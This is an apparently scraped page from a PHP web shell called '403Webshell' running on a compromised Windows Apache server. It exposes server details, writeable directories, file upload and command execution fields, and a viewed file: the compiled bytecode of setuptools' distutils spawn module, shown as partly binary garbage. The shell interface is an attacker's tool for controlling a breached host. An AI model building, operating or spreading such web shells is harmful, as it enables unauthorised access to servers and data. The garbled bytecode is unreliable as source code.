403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/setuptools/_distutils/__pycache__/spawn.cpython-39.pyc
a

��e�
�@sXdZddlZddlZddlZddlmZddlmZddlm	Z	ddd�Z
dd	d
�ZdS)
z�distutils.spawn

Provides the 'spawn()' function, a front-end to various platform-
specific functions for launching another program in a sub-process.
Also provides the 'find_executable()' to search the path for a given
executable name.
�N�)�DistutilsExecError)�DEBUG)�logc
Cst|�}t�t�|��|r dS|r@t|d�}|dur@||d<|durL|nttj�}t	j
dkr�ddlm}m
}|�}|r�|||<z tj||d�}	|	��|	j}
WnHty�}z0ts�|d}td�||jd��|�WYd}~n
d}~00|
�rts�|d}td�||
���dS)	a�Run another program, specified as a command list 'cmd', in a new process.

    'cmd' is just the argument list for the new process, ie.
    cmd[0] is the program to run and cmd[1:] are the rest of its arguments.
    There is no way to run a program with a name different from that of its
    executable.

    If 'search_path' is true (the default), the system's executable
    search path will be used to find the program; otherwise, cmd[0]
    must be the exact path to the executable.  If 'dry_run' is true,
    the command will not actually be run.

    Raise DistutilsExecError if running the program fails in any way; just
    return on success.
    Nr�darwin)�MACOSX_VERSION_VAR�get_macosx_target_ver)�envzcommand {!r} failed: {}���z%command {!r} failed with exit code {})�listr�info�
subprocessZlist2cmdline�find_executable�dict�os�environ�sys�platformZdistutils.utilrr�Popen�wait�
returncode�OSErrorrr�format�args)�cmdZsearch_path�verbose�dry_runr	�
executablerrZmacosx_target_ver�procZexitcode�exc�r �?/usr/lib/python3.9/site-packages/setuptools/_distutils/spawn.py�spawns@

��
�r"c	Cs�tj�|�\}}tjdkr*|dkr*|d}tj�|�r:|S|dur�tj�dd�}|dur�zt�d�}Wnt	t
fy�tj}Yn0|s�dS|�tj
�}|D]&}tj�||�}tj�|�r�|Sq�dS)z�Tries to find 'executable' in the directories listed in 'path'.

    A string listing directories separated by 'os.pathsep'; defaults to
    os.environ['PATH'].  Returns the complete filename or None if not found.
    �win32z.exeN�PATH�CS_PATH)r�path�splitextrr�isfiler�get�confstr�AttributeError�
ValueError�defpath�split�pathsep�join)rr&�_�ext�paths�p�fr r r!rKs(
r)rrrN)N)�__doc__rrr
�errorsr�debugrZ_logrr"rr r r r!�<module>s
9

Youez - 2016 - github.com/yon3zu
LinuXploit